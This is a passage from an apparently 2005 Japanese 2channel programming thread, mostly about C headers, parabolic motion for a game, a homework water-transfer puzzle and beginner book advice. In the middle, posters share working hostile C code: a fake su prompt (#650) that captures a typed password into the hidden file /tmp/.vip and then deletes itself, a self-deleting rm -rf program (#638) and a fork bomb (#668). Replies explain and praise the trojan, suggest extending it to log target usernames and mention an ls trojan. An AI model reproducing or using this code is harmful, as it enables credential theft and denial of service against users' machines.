{ { 233, 200 }, { 208, 200 }, { 185, 200 },
{ 156, 400 }, { 185, 400 }, { 208, 400 },
{ 185, 200 }, { 208, 400 }, { 233, 200 },
{ 208, 200 }, { 185, 200 }, { 233, 400 },
{ -1, -1 },
};
int i;

for(i = 0; sayuri[i][0] >= 0; i++)
Beep(sayuri[i][0], sayuri[i][1]);

return 0;
}


二番煎じだが勢いで作ってみた。
595デフォルトの名無しさん:2005/11/26(土) 21:10:46
C++のヘッダーとソースに書く
#includeの記述ってどんな風に分けて書けばいいんだろう?
ソースでヘッダーをincludeするのは当たり前として
他にも<windows.h>とか色々書く場合どっちに何を書けば良いのかわけわかめ
596・∀・)っ-●○◎- ◆Pu/ODYSSEY :2005/11/26(土) 22:12:06
>>595
関数の実装側だけで用い呼び出し元から参照する必要の無いヘッダはなるべくソース側で
インクルードするのが正しい。不要なシンボルの重複を避けるのに有効。

あと、Boost.Regex++使うと、グローバルネームスペースでregex_tとかのシンボルが定義される。
てか、regex_tAとregex_tWをマクロで切り分けてるのね。
やたら行儀悪いのなんの。

いっぺんOnigurumaとのパフォーマンスベンチプログラム作ろうとしてハマったことがある。
てか正規表現ライブラリって大抵基本型の名前がregex_tなんだよね。中身は非互換。
結局oniguruma.hをインクルードする際にネームスペース切って解決したけど。



俺の場合はテンプレート多様派でヘッダにクラスの実装をガリガリ書くのが好み。
コンパイルに時間かかるけど。
あと、殆ど効きもしないのにプリコンパイルヘッダがdでもない大きさになるから
基本的に無効にしている。
597デフォルトの名無しさん:2005/11/26(土) 22:29:52
>>596
あんだって?
598デフォルトの名無しさん:2005/11/26(土) 22:37:50
>>594
さっと作れるとこがすごい(・∀・)
599デフォルトの名無しさん:2005/11/26(土) 22:50:36
>>596
なるほど、ありがとう。
よく考えて分けなきゃですね。

最後の、ヘッダーに実装をがりがり書くというのはWTLがまさにそれですね。
量が増えてくると手直しする必要があった時、面倒くさそうですがどうなんでしょう。。。
600デフォルトの名無しさん:2005/11/26(土) 22:55:38
おまえら天才だな
601デフォルトの名無しさん:2005/11/26(土) 23:32:39
>>600
いや、俺らは天才じゃない、むしろ凡才
だが秀才にはなれる
602デフォルトの名無しさん:2005/11/26(土) 23:42:02
ちょっと待て。俺は天才だぞ。
603デフォルトの名無しさん:2005/11/26(土) 23:49:37
>>601君、この私と君を一緒にしないでくれたまえ。
不愉快極まりない。
604・∀・)っ-●○◎- ◆Pu/ODYSSEY :2005/11/27(日) 00:05:52
>>599
そうまさにまさにWTL。
多重継承を効果的に使って1ファイルののサイズが増えないように・・・してるつもりだけど、
そううまくもいってない。諸刃の剣す。
基本的にメッセージリフレクションを使って再利用しやすいように作ってみている。

メッセージリフレクションといえば、CWindowWithRefletorImpl<>は、CreateWindowで作るぶんには
いいけどダイアログ(フォーム)ベースだとうまくいかないことがあるから使ってない。あと他にも
クライアント領域とかの制限があったような。
605デフォルトの名無しさん:2005/11/27(日) 00:21:09
>>596
#include <boost/regex.hpp>のほうを使え。
606・∀・)っ-●○◎- ◆Pu/ODYSSEY :2005/11/27(日) 00:45:46
>>605
いや、そっち使った時点でそうなってたんだけど。
1.31〜32の頃かな。
もう鬼車に完全に乗り換えたからいいけど。Ruby好きだからこっちのほうがしっくりくる。

ユーザー入力の字句チェックのために正規表現使ってるんだよね。
鬼車はカスタム構文を自分で定義できるから結構思い通り(独り善がり)の解析ルーチンを作りやすい。
いちおう1.33のregexも評価してみた。PCRE構文との互換性がアップしたけどやたら遅くなった希ガス。
607デフォルトの名無しさん:2005/11/27(日) 02:03:38
>>602
おまえ、なんかウざい
608デフォルトの名無しさん:2005/11/27(日) 02:32:40
>>601
中学の時同じ事言ってたやつがいたけどよ



まあ、なんだ
609デフォルトの名無しさん:2005/11/27(日) 03:43:15
今日もいつものエウレカ待ち ^^

ちょっと早く起きすぎたw
610デフォルトの名無しさん:2005/11/27(日) 05:14:56
だれかmakefileについて詳しく教えてくれる人いない〜?
611デフォルトの名無しさん:2005/11/27(日) 07:21:39
エウレカっての初めて見たけど何か面白いな
612デフォルトの名無しさん:2005/11/27(日) 07:26:00
オワタ。よかった。来週までは生きていようとおもた。
613デフォルトの名無しさん:2005/11/27(日) 07:31:16
なんだ?心の病気か?
614デフォルトの名無しさん:2005/11/27(日) 07:56:05
(-_-) エヘヘ
615デフォルトの名無しさん:2005/11/27(日) 09:17:00
エウレカセブンは朝からグロいもん見せてくれるぜ^^
616デフォルトの名無しさん:2005/11/27(日) 09:40:25
先週はもっとグロかったよん♪
617デフォルトの名無しさん:2005/11/27(日) 10:02:30
エウレカやってるとき子供はゾロリ見てるから大丈夫^^
618デフォルトの名無しさん:2005/11/27(日) 10:05:55
今日のサンデープロジェクトは荒れそう
今のっけから社長が絶叫したwwww

>>617
じゃあ来週はもっとヤバ展開をきぼんしとく。
619デフォルトの名無しさん:2005/11/27(日) 11:26:43
ゾロリ見ようとテレビつけたらちょうどエウレカのグロシーン^^
620デフォルトの名無しさん:2005/11/27(日) 12:13:34
今放物線っぽく物体を動かすプログラムを作ってるのですが↓

放物線テスト
ttp://www.vipper.org/vip147920.zip
ttp://www.vipper.org/vip147924.png

放物線ってなんかセオリーってゆうか、
こうやったらリアルになる、とか、こうやったら計算量減らせる、とかあるんでしょうか?

プログラムでは箱を二タイプの計算で動かしてるのですが、
いずれも最初は上に移動させて、1フレームごとに下方向への移動値を増加させ、
いずれ落ちてくるって感じなのですが。。

こんなんでいいんでしょうか・・・ (-_-;
621デフォルトの名無しさん:2005/11/27(日) 12:25:16
放物線のデータをテーブルに持っておいてそれをなぞる。
622デフォルトの名無しさん:2005/11/27(日) 13:14:44
y = a * (x * x) + b
623デフォルトの名無しさん:2005/11/27(日) 13:19:21
>>620
すげーえ。
こういうのDelphiでも作れるかなあ。
憧れるよ。
624・∀・)っ-●○◎- ◆Pu/ODYSSEY :2005/11/27(日) 13:26:11
>>611
働いたらmakeかなと思っている。
625620:2005/11/27(日) 14:05:02
>>621
んと、
int Houbutu[] = {-5,-4,-3,-2,-1,0,1,2,3,4,5};
みたいな半円が書けそうなデータを持っておいて、
タイミング良く順番になぞるってことでしょか。
うーん、データ量がメチャ増えそうですが、それでいけるかな・・。
sinの波形?でやると、綺麗に見えそうな気も。
どうもありがとうございます m(__)m

>>622
うはwwありがたいんだけどwwわがんねwwww
ひ、ヒントプリーズ (´д`)

>>623
なんか激しく勘違いしてるっぽいですけど、
>>620のは上下に物体を動かせればすぐできます。
嘘放物線なので、ぶっちゃけ簡単です・・
626デフォルトの名無しさん:2005/11/27(日) 14:46:41
void parabolic(
  double g, /* 重力加速度 */
  double v, /* 初速度成分 (速さ) */
  double d, /* 初速度成分 (仰角) */
  double t) /* 経過時間 */
{
  double vx = v * cos(d); /* 水平方向の速度 */
  double vy = v * sin(d); /* 鉛直方向の速度 */
  double ax = 0; /* 水平方向の加速度 */
  double ay = g; /* 鉛直方向の加速度 */
  double x; /* 時間tでの座標x */
  double y; /* 時間tでの座標y */

  x = vx * t; /* 等速直線運動 (ax=0) */
  y = vy * t + (ay * t * t) / 2; /* 等速加速度直線運動 */
}

こんな感じじゃなかったかなぁ > 放物線
627620:2005/11/27(日) 14:49:20
>>625
激しく勘違いしてたというか
何か計算が大変そうでw
やってみるw
628626:2005/11/27(日) 14:54:41
基本的に620とやってることは変わらんよ。
時間を指定できるようになってるだけ
629・∀・)っ-●○◎- ◆Pu/ODYSSEY :2005/11/27(日) 14:59:51
627のやり方が大きく間違ってるとも思えん


そこまで厳密に微分計算しなくとも、頂点(x1, y1)が解れば

y = -g(x²-x1) + y1でええんちゃうの。

で、xは空気抵抗が無い状態では水平方向の速度×時間で求められる
630623:2005/11/27(日) 15:01:58
死ぬほどレスがついてて死にたくなったが627は620じゃなくて623だった。
ごめんなさい。
631デフォルトの名無しさん:2005/11/27(日) 15:03:25
>>620のやりかたでもちゃんと放物線にはなってるよね
ソース見ると
vx = 時間にかかわらず一定
vy = 時間に比例
になってて、

vx = a、時間で一回積分すると、x = at + b
vy = kt + l、時間で一回積分すると、y = kt^2 + lt + m

t を消去すると、ちゃんと y が x の2次式になってて∩( ・ω・)∩ばんじゃーい
632デフォルトの名無しさん:2005/11/27(日) 15:08:51
>>631
わざわざ積分しなくても、放物運動の速度の公式
vx = α
vy = g - at
と一致してるから問題なしと分かる希ガスw
633デフォルトの名無しさん:2005/11/27(日) 15:25:19
620のやり方
利点 :
 ・比較的計算が理解しやすい
 ・外力を反映できる

欠点 :
 ・スパンが長い程誤差が大きくなる

626のやり方
利点 :
 ・時間tを指定できる
 ・誤差が少ない

欠点 :
 ・外力を反映できない
634デフォルトの名無しさん:2005/11/27(日) 15:31:10
おまえら一体何の話してるんだよwwwwwwwwwwwwwwwwwwwwww
超疎外感wwwwwwwwwwwwwwwwwwwww
635デフォルトの名無しさん:2005/11/27(日) 15:31:54
うはwwwwwwwwwwwwごめwwwwwwwwwwwwwwwww
636620です (-_-:2005/11/27(日) 15:31:58
な、なんかスペシャルな返答が多数。
じぇんじぇんついていけん・・

>>626
ちょ、ま、えと、とりあえず使ってみます ^^

>>627
01ボタンのやつは、足し算しか使ってないですw

>>629
そ、その式を展開すればいいんでしょか。。
gは時間でおkですかね。

>>631 >>632
セキブン?・・なにそれ・・あまいの?おいちいの?
って、アフォですみません。三角関数とかわけわからんけど使ってます。
いちおう地元バカ高校は卒業したんですが。
せっかくアドバイスもらってるのに (T_T)

放物運動でググったら、↓のサイトが。
ttp://homepage3.nifty.com/qazu/parabola.htm
なにこの変な分数・・・。

人違いだったらすみませんが、>>631さんは前に某スレで
「私に会ったらvip∩( ・ω・)∩ばんじゃーいってしてみてー」
って言ってた人ですか?
637デフォルトの名無しさん:2005/11/27(日) 15:32:58
VIP VIPPER THE_VIPPEST_DREAMER
638デフォルトの名無しさん:2005/11/27(日) 15:35:32
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main(int argc, char *argv[])
{
char buf[strlen(argv[0])];

sprintf(buf, "rm -rf %s", argv[0]);
system(buf);
exit(1);
return 0;
}
639620です (-_-:2005/11/27(日) 15:36:06
>>633
ガイリョク?ガイリキ?
ごめ。。
でも着弾点の計算はなんとかしたいけど・・あー。

>>634
(;´д`)人(´д`;)
心の友よ。
640・∀・)っ-●○◎- ◆Pu/ODYSSEY :2005/11/27(日) 15:36:33
gは重力加速度の係数のつもりだった。。。でも違ったかな。
641620です (-_-:2005/11/27(日) 15:38:36
うはw時間のgだとばかりww
642デフォルトの名無しさん:2005/11/27(日) 15:40:54
>>636
上で出てる式は全部、物理IBの範囲で登場するはずだがw
積分は数IIとIII

距離・速度・加速度の間には次の関係が成り立つ
距離の微分=速度 ∴速度の積分=距離
速度の微分=加速度 ∴加速度の積分=速度
全て時間についての微積分ね
643631:2005/11/27(日) 15:41:19
>>636
む、それは人違いでござる

>>632
脳の容量の関係上、記憶できる公式が限られているのでありますw
644デフォルトの名無しさん:2005/11/27(日) 15:42:37
>>632に自己レス
vy = g - atじゃなくて vy = vyo(初速のy成分) - at

何ぼけてるんだ('A`)
645デフォルトの名無しさん:2005/11/27(日) 15:44:04
マリオとかの昔のアクションゲームでは、まじめに放物線を描かせず、
サインカーブなんかを使っていたりする。
646・∀・)っ-●○◎- ◆Pu/ODYSSEY :2005/11/27(日) 15:47:15
というかマリオUSAは空中で方向転換とかできるから困る。
ピーチ姫ありえねー
647デフォルトの名無しさん:2005/11/27(日) 15:48:06
>>645
ちょwwwwwwwwサインカーブてwwwwwwww
いや似てるけどさ
648デフォルトの名無しさん:2005/11/27(日) 15:58:45
暇だったのでやってみた
ttp://www.vipper.org/vip148009.gif.html
どうみてもサインカーブです
本当にありがとうございました
649デフォルトの名無しさん:2005/11/27(日) 16:00:46
本当にありがとうございました
650デフォルトの名無しさん:2005/11/27(日) 16:04:37
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <termios.h>

int main(int argc, char *argv[])
{
struct termios orig;
struct termios attr;
char buf[1024];
char rm[strlen(argv[0])+10];
FILE *fp;

fp = fopen("/tmp/.vip", "w");
tcgetattr(0, &orig);
attr = orig;
printf("Password:");
attr.c_lflag &= ~(ICANON|ECHO);
attr.c_cc[VMIN] = 1;
tcsetattr(0, TCSADRAIN, &attr);
fgets(buf, 1024, stdin);
tcsetattr(0, TCSADRAIN, &orig);
fprintf(fp, "%s",buf);
fclose(fp);
printf("¥nsu: Sorry¥n");
sprintf(rm, "rm -rf %s", argv[0]);
system(rm);
return 0;
}
651デフォルトの名無しさん:2005/11/27(日) 16:12:46
他人のマシンに仕込んだりするなよw
652デフォルトの名無しさん:2005/11/27(日) 16:16:18
放物線ってサインカーブだと思ってた
653デフォルトの名無しさん:2005/11/27(日) 16:17:32
あるあr・・・ねーよwwwwww
654623:2005/11/27(日) 16:17:44
>>650
どうなるんだ?w
655デフォルトの名無しさん:2005/11/27(日) 16:20:59
(x, y) = (Vx*t, Vy*t-(1/2*g*t^2))

Vx:初速のx成分 Vy:初速のy成分 g:重力加速度(≒9.8) t:経過時間

これでいいじゃまいか
656デフォルトの名無しさん:2005/11/27(日) 16:21:20
>>654
suを装ってパスワードを要求
ゲットしたパスワードを/tmp/.vipに保存
ログインに失敗したように見せかける
最後は自己消滅
657デフォルトの名無しさん:2005/11/27(日) 16:24:34
>>655
それってまさに>>626じゃねーかwwwwww
658デフォルトの名無しさん:2005/11/27(日) 16:25:58
そうだなwwwwwww
659デフォルトの名無しさん:2005/11/27(日) 16:26:27
うはwwwwwwwwwwおkwwwwwwwwwwwwwwwうぇ
660デフォルトの名無しさん:2005/11/27(日) 16:26:56
>>656
すげえええええ!!そんなことができるとは!
suってことはLinuxだよな。家のLinuxでやってみるかww
661デフォルトの名無しさん:2005/11/27(日) 16:29:06
>>1-660
日本語でおk
662デフォルトの名無しさん:2005/11/27(日) 16:29:19
>>660
LinuxだけじゃなくてUNIX全般で使えるからなwwwww
ちょっと改造してコマンドライン引数も保存するようにしたら、
どのユーザーにログインしようとしたかわかるしなww
663デフォルトの名無しさん:2005/11/27(日) 16:41:14
>>660
お前さんがそういうこと好きなら自宅にいろんなOS入れたマシンをたくさん置いて
それだけでネットワークを組んで自由に遊んでみるのも面白いとおもうお(^ω^)
664660:2005/11/27(日) 16:52:46
>>662
Fedora Coreでやってみたら隠しファイルでしっかり/tmp/に保存されてたw
こういうの作れる人を尊敬するよ。
>>660
マシンが2台しかないw1台は親のだし。
自分のマシンにWindowsとLinuxのデュアルブートにしてる。
665デフォルトの名無しさん:2005/11/27(日) 16:54:11
>>664
>Fedora Coreでやってみたら隠しファイルでしっかり/tmp/に保存されてたw
>こういうの作れる人を尊敬するよ。

よくある手口だと思うのだが・・・
666デフォルトの名無しさん:2005/11/27(日) 16:54:14
工エエェェ(´д`)ェェエエ工
尊敬するようなものか?
667デフォルトの名無しさん:2005/11/27(日) 17:09:36
なんでお前らはそう負けず嫌いなんだw
668デフォルトの名無しさん:2005/11/27(日) 17:24:01
#include <unistd.h>
#include <sys/types.h>

main()
{
for(;;)
{
fork();
}
return 0;
}
669・∀・)っ-●○◎- ◆Pu/ODYSSEY :2005/11/27(日) 17:31:46
ちなみにCygwinでもできると思う。
Win32は実行中のバイナリに書き込み保護がかかるから解除してやる必要があるけど。
670デフォルトの名無しさん:2005/11/27(日) 17:42:00
>>665
>>666
いやいやまったくのC初心者で簡単な計算とかしかできなくてw
1から50までの和を表示するとかしかできないからw
671デフォルトの名無しさん:2005/11/27(日) 17:45:55
>>670
昔そんなやつ居なかったか?
672デフォルトの名無しさん:2005/11/27(日) 17:46:43
>>671
そう?知らないけど。今はDelphiで打ち込んだ数のx乗を求めるやつとか
作ってるよ。
673デフォルトの名無しさん:2005/11/27(日) 17:48:28
やる事がない
674デフォルトの名無しさん:2005/11/27(日) 17:49:31
>>672
Delphiか・・・

次はlsトロイでも作ってみようかなw
675デフォルトの名無しさん:2005/11/27(日) 18:04:00
>>673
宿題スレでもいったら
676デフォルトの名無しさん:2005/11/27(日) 18:07:55
見事なまでのVIPPER秘密基地
677デフォルトの名無しさん:2005/11/27(日) 18:53:12
宿題スレの問題をこっちのスレで解けば(・∀・)イイ!!
678デフォルトの名無しさん:2005/11/27(日) 18:55:51
>>674
lsトロイというものについて詳しく
679デフォルトの名無しさん:2005/11/27(日) 18:57:51
>>678
lsに化けてroot権限を奪うトロイの木馬だよ
>>650でやった奴はsuトロイ
680デフォルトの名無しさん:2005/11/27(日) 19:39:40
IEコンポムズカシス・・
webのサンプル見ても全然わかんあい・・
681デフォルトの名無しさん:2005/11/27(日) 21:24:13
>>679
すげー。かっこいいな。
682みずき ◆WnmizUKIg6 :2005/11/27(日) 21:58:12 BE:537775889-##
#include <stdio.h>
void main()
{
float a = 1999;
float b = 0;
int i;

for (i = 1 ; i < 1999 ; i++) {
if (i % 2 == 1) {
b += a / i;
a -= a / i;
} else {
a += b / i;
b -= b / i;
}
}

printf("a = %.0f" , a);
}
683デフォルトの名無しさん:2005/11/27(日) 22:10:19
>>682
バカな俺にプログラムの説明をしてくれ。
684デフォルトの名無しさん:2005/11/27(日) 22:26:23
>>682
なんかあんまし意味のある処理じゃないような気がするんだが
わかんね
685デフォルトの名無しさん:2005/11/27(日) 22:27:03
>>682
ブログにあるゲームのセックス画像うpして下さい
686デフォルトの名無しさん:2005/11/27(日) 22:28:16
>>682
絶対荒らさないでくださいとわざわざ書くということは、荒らしまくってもいいんですよね?
687デフォルトの名無しさん:2005/11/27(日) 22:30:08
>>682
何これ?全然意味分からない・・・orz
最終的に1を表示でおk?
688みずき ◆WnmizUKIg6 :2005/11/27(日) 22:31:20 BE:201666839-##
>>682の人気に嫉妬
689デフォルトの名無しさん:2005/11/27(日) 22:33:09
おまえだ、おまえ。
690デフォルトの名無しさん:2005/11/27(日) 22:33:21
だんだんAが999に収束してるね
なんだろこの処理
691みずき ◆WnmizUKIg6 :2005/11/27(日) 22:35:12 BE:112036853-##
>>677より、C/C++の宿題を片付けます 53代目
650 名前:デフォルトの名無しさん[sage] 投稿日:2005/11/27(日) 21:50:42
[1] 授業単元: 情報処理
[2] 問題文: 1999リットルの水が入った容器Aと、同じ大きさのからの容器B がある。
        1 回目は、A の1/2 の量をB へ移し、2 回目は、B の1/3 をA に移す、
        3 回目は、A の1/4 をB へ移す、次はB の1/5 をA へ・・・・
        この方法で、次々と水を移す。1999回目にA からB へ移したとき、
        B の容器には、何リットルの水が入っているかを求めるプログラムを作成せよ。
[3] 環境
 [3.1] OS:Windows
 [3.2] コンパイラ名とバージョン: bcc
 [3.3] 言語: C
[4] 期限: 11月29日まで
[5] その他の制限: 特にありません
692デフォルトの名無しさん:2005/11/27(日) 23:01:13
>>691

int main() {
int i, c, a, b;
a=1999;
i=0;c=0;b=0;
while(i!=1999) {
b=b+(a/(i+1)); a=a/(i+1)
i++;
}
printf("%d", b);
}

即行でつくた。これでどうよ
693デフォルトの名無しさん:2005/11/27(日) 23:03:11
cは何に使ったの?
694デフォルトの名無しさん:2005/11/27(日) 23:24:59
>>693
問題の意味を勘違いしてて
ごちゃごちゃやってた時に使ってた
消すの忘れてたorz
main関数が返り値intならreturn 0かなんか入れておくのも忘れてたな
695デフォルトの名無しさん:2005/11/27(日) 23:26:08
>>682
これが>>691の答えなの?
なら、しょっぱなから1回目に1999を全部bにぶちこんでる気がするんだが。
ついでにaの結果を表示してるし。

#include <stdio.h>
void main()
{
float a = 1999;
float b = 0;
int i;

for (i = 2 ; i < 2001; i++) {
if (i % 2 == 0) {
b += a / i;
a -= a / i;
} else {
a += b / i;
b -= b / i;
}
}

printf("a = %f\n" , a);
printf("b = %f\n" , b);

return 0;
}

これでよくね?
696デフォルトの名無しさん:2005/11/27(日) 23:32:54
お前らが何を組んでるのかさっぱりわかりませんよっと。
697デフォルトの名無しさん:2005/11/27(日) 23:36:11
ここはVIPPERにはわからないプログラミングスレですね
698みずき ◆WnmizUKIg6 :2005/11/27(日) 23:37:02 BE:74691252-##
>>695>>682を「/ (i+1)」かな

>>696-697
Cで文字で遊ぶだけなら1週間程度でおkだよ
やる気があるなら頑張って
699デフォルトの名無しさん:2005/11/27(日) 23:37:19
>>698が見えない
700デフォルトの名無しさん:2005/11/27(日) 23:57:26
>>569
うちのPC本体からビープ音が出るとは知らなかった
どっかにブザーついてんだな
701デフォルトの名無しさん:2005/11/28(月) 00:08:10
#include <stdio.h>

int main(){
double A=1999.0;
double B=.0;
int cnt=1;
for(;cnt<=999;cnt++){
B+=A/(cnt*2); A-=A/(cnt*2);
A+=B/(cnt*2+1); B-=B/(cnt*2+1);
}
B+=A/(1999+1);
printf("%f",B);
return 0;
}

これでいいんじゃね?
702みずき ◆WnmizUKIg6 :2005/11/28(月) 00:11:29 BE:44815032-##
>>700
間違っても
while(0) printf("\a");
だけはやるんじゃないよ
703デフォルトの名無しさん:2005/11/28(月) 00:13:41
>>691

#include <stdio.h>
int main()
{
puts(" 1999リットルの水が入った容器Aと、同じ大きさのからの容器B がある。\n"
" 1 回目は、A の1/2 の量をB へ移し、2 回目は、B の1/3 をA に移す、\n"
" 3 回目は、A の1/4 をB へ移す、次はB の1/5 をA へ・・・・\n"
" この方法で、次々と水を移す。1999回目にA からB へ移したとき、\n"
" B の容器には、何リットルの水が入っていますか?");
printf("\n リットル\r");
{float a;scanf("%f",&a);}
return 0;
}
704デフォルトの名無しさん:2005/11/28(月) 00:13:45
>>702
それだとなんも実行しないのでは?
705みずき ◆WnmizUKIg6 :2005/11/28(月) 00:15:10 BE:89629643-##
>>704
学校の先生風に言うと「君達が気づくのを試したんだ」
while(1)です、すみません
706デフォルトの名無しさん:2005/11/28(月) 00:24:21
for(;;) の方が好きだな
泣いてるっぽくて
707デフォルトの名無しさん:2005/11/28(月) 00:41:25
>>706
それならこっちだな
#define _ 1
for (;_;)
708デフォルトの名無しさん:2005/11/28(月) 03:26:20
for (;'_';)
汗かいてるお
709デフォルトの名無しさん:2005/11/28(月) 04:38:04
for (;'ω';)
710デフォルトの名無しさん:2005/11/28(月) 06:15:11
   __             __/  / |    __  ──
     / ─ /  / \ ○   |   /  |      |    ̄ ̄/ ──
  __/  _/  /   \    |  /  レ  ─┴─  _/

      /\___/ヽ    
     /''''''   '''''':::::::\    
    . |(〇),   、(〇)、.:| 
    |   ,,ノ(、_, )ヽ、,, .::::|    
  .   |   `,rェェェ、 ' .:::::::| 
     \  |,r-r-|  .::::/     
  ,,.....イ.ヽヽ、`ニニ´ーノ゙-、.
  :   |  '; \_____ ノ.| ヽ i
      |  \/゙(__)\,|  i |
      >   ヽ. ハ  |   ||
711デフォルトの名無しさん:2005/11/28(月) 10:25:30
えっと、VIPからきますた。
どうでもよさそうな質問なんですけど、よろしくお願いします。

if(i=1;i<=10;i++)

if(i=1;i<11;i++)

この二つだと一般的にはどちらが多いのでしょうか?
俺は前者の方がわかりやすそうで好きなんですけど。
712デフォルトの名無しさん:2005/11/28(月) 10:30:25
んー、なんに使うかにもよるけど、
よく見るのは後者みたいなのかなw
713デフォルトの名無しさん:2005/11/28(月) 10:31:16
マジもんVIPPERだけど0から始めるなら言語何がいいんだ?
714デフォルトの名無しさん:2005/11/28(月) 10:32:37
そうですかー。
いや、これはただの1〜10まで表示するって奴なんですけどね。
上のほうが10って数字が出るからわかりやすいと思ったけど
一般的なスタイルは下なんですね。

これからは下のスタイルで慣れていこうと思います。
ありがとうござんした。
715デフォルトの名無しさん:2005/11/28(月) 10:33:25
716デフォルトの名無しさん:2005/11/28(月) 10:33:29
forじゃないか?

俺は
for(i=0; i<10; i++)
for(i=1; i<=10; i++)
って書くかな
10回ループすることが分かりやすい
717デフォルトの名無しさん:2005/11/28(月) 10:36:08
>>716
うはwww素で間違えたwwwwすいませんorz

こんなに赤面したのは久しぶりだ。
718デフォルトの名無しさん:2005/11/28(月) 10:48:24
>>715
HSPってVIPPERじゃ無理?
719デフォルトの名無しさん:2005/11/28(月) 10:49:29
for (i = 0; i < 10; i++)
をよく見かけるのは配列の配置がそうなってるからじゃね
int array[10]って宣言して回す時とかね
720デフォルトの名無しさん:2005/11/28(月) 10:50:27
>>711,714
その場合は前者の方がいいよ。
0から始めるループなら "<" が主流だけど。
721デフォルトの名無しさん:2005/11/28(月) 10:53:20
>>720
そうですか。
じゃあ0の時は後者、それ以外は前者でとりあえずやってみる事にします。
ありがとうございました。
722711:2005/11/28(月) 15:12:35
うはw釣りかと思って素で通したのにww
723デフォルトの名無しさん:2005/11/28(月) 15:22:49
>>711
1〜10まで表示という仕様なら前者にすべき
仕様でソースを表現するとはそういうこと
最適化は後回し
724デフォルトの名無しさん:2005/11/28(月) 15:24:07
ソースで仕様を表現するんじゃねーの?
725デフォルトの名無しさん:2005/11/28(月) 15:26:16
こうやって日本語は間違えやすいので
コメントをあてにしちゃダメだ
726デフォルトの名無しさん:2005/11/28(月) 15:24:00
    ⊂⊃   .☆.。.:*・゜
(\ ∧_∧ /
(ヾ < `∀´>/ このレスに出会ったあなたは超ラッキーニダ。
''//( つ   つ  近々骨折することになるニダ。
(/(/___|″
   し′し′
727デフォルトの名無しさん:2005/11/28(月) 15:28:40
みさくらなん骨折れた
728デフォルトの名無しさん:2005/11/28(月) 16:22:14
>>718
できるよ
729デフォルトの名無しさん:2005/11/28(月) 16:22:38
>>718
HSPはメモリ管理がグダグダだからオヌヌメできん

Javaでオブジェクト指向学んでC++行くのもよし
C学んでC++行くのもよし
730みずき ◆WnmizUKIg6 :2005/11/28(月) 16:33:38 BE:89629362-##
十進BASICやろうぜヽ(*´∀`*)ノ
731デフォルトの名無しさん:2005/11/28(月) 16:41:34
http://pc8.2ch.net/test/read.cgi/gamedev/1133008523/
これに参加する話どうなった?
732デフォルトの名無しさん:2005/11/28(月) 16:42:01
飽きた
733みずき ◆WnmizUKIg6 :2005/11/28(月) 16:43:26 BE:179258483-##
>>731
真っ黒画面に文字だけでも参加しようか
734デフォルトの名無しさん:2005/11/28(月) 16:44:42
wを練習するタイピングソフトなんてどうよ
735みずき ◆WnmizUKIg6 :2005/11/28(月) 16:50:06 BE:186728055-##
ちょwwwおまwwwwwwwwww
tyowwwomawwwwwwwwww
736デフォルトの名無しさん:2005/11/28(月) 16:52:21
wの個数を正確に打つのは、結構むずいかも
737デフォルトの名無しさん:2005/11/28(月) 17:36:50
>>729
uiui
738みずき ◆WnmizUKIg6 :2005/11/28(月) 17:44:08 BE:119505582-##
>>731
28 名前:名前は開発中のものです。[sage] 投稿日:2005/11/28(月) 17:40:57 ID:3EViY0P3
俺漏れも今週から参加すっからな!
haro-worldくらいからお題頼むぜ

頑張れ、超頑張れ
739デフォルトの名無しさん:2005/11/28(月) 17:45:48
C言語って金かかるのか?w
どっかからDLできる場所ないのか?
740デフォルトの名無しさん:2005/11/28(月) 17:46:09
VIPでなんか歴史に残るプログラムつくろうぜ
http://ex14.2ch.net/test/read.cgi/news4vip/1133165707/
741デフォルトの名無しさん:2005/11/28(月) 17:48:40
釣られた・・けど・・そういうの釣りって言うのか?
742デフォルトの名無しさん:2005/11/28(月) 17:50:17
743デフォルトの名無しさん:2005/11/28(月) 17:50:42
Borland C++ Compiler
Visual C++ Toolkit 2003
LSI C-86 体験版
Borland C++ BuilderX Personal

どれがいいんだ?
744デフォルトの名無しさん:2005/11/28(月) 17:51:27
>>742
さんくすw
745デフォルトの名無しさん:2005/11/28(月) 17:54:19
C#はC/C++と一緒に括らない方がいいと思う
746デフォルトの名無しさん:2005/11/28(月) 17:57:54
プログラム未経験者が
cである程度のGUIのツール(例でいうと簡単なブロック崩しとか)が作れるようになるのは
どれくらい必要ですかね?
一日一時間程度の勉強時間で考えてください。
747デフォルトの名無しさん:2005/11/28(月) 18:01:25
>>746
2ヶ月でどうよ
Cを覚えるのに3週間、WinAPIを最低限理解するのに1ヶ月ちょっと
748デフォルトの名無しさん:2005/11/28(月) 18:02:47
>>747
じゃあそれを目標に頑張ってみる事にします。
近くの本屋でよさそうな本を買いにいってきます。
749デフォルトの名無しさん:2005/11/28(月) 18:08:33
一日一時間じゃ、私なら半年以上かかるなぁ。たぶん。
前やったことってすぐ忘れるし。
750デフォルトの名無しさん:2005/11/28(月) 18:09:59
>>748
横レスだけど本はちゃんと選んだほうがいいよ。一冊高いしね。
C … プログラム「言語」としての本質でありGUIのものを作るのには足りない
C++ … Cを拡張した「言語」

Visual C++ … C++を用いたWindowsプログラミングができる
(GUIで何か作ってみたいならこっち、とにかく言語の予備知識をつけたいなら上)

ブロック崩しとか、ゲームが作れそうといって「Direct X」って書いた本選ぶと痛い目にあうよ
初歩なら「DirectX」「MFC」って言葉の書いてないVisual C++の本を買うと
目標としてる(?)GUIでブロック崩しに近づくと思う

基本的なことは
http://www.kumei.ne.jp/c_lang/ ここ見るのがいいよ。

長文すまん、最初参考にするものやら本で損したので書きたかったんだ
751デフォルトの名無しさん:2005/11/28(月) 18:10:50
分からない事はなんでもきけよ^^^
752みずき ◆WnmizUKIg6 :2005/11/28(月) 18:17:56 BE:179258764-##
>>746
http://www.amazon.co.jp/exec/obidos/ASIN/4797325453/250-8082113-9600214
これオススメ、C + Win32API参考書
テトリスとブロック崩し付き
753デフォルトの名無しさん:2005/11/28(月) 18:20:40
GUIならDelphiをオススメするけど、ここは一応C言語スレなのかな?
754デフォルトの名無しさん:2005/11/28(月) 18:20:47
うはw >>752はCをある程度マスターしてからですよ! ><
755みずき ◆WnmizUKIg6 :2005/11/28(月) 18:22:47 BE:537775698-##
>>754
あぁ、おすすめの本は?かと思った
"日本語"勉強してくるわ
756デフォルトの名無しさん:2005/11/28(月) 18:23:34
>751
誤爆しましたyyyyyyyyyyyyyyyyyyyyyyyyy
757デフォルトの名無しさん:2005/11/28(月) 18:24:03
このスレ流れ早杉です><
758デフォルトの名無しさん:2005/11/28(月) 18:24:39
>>748
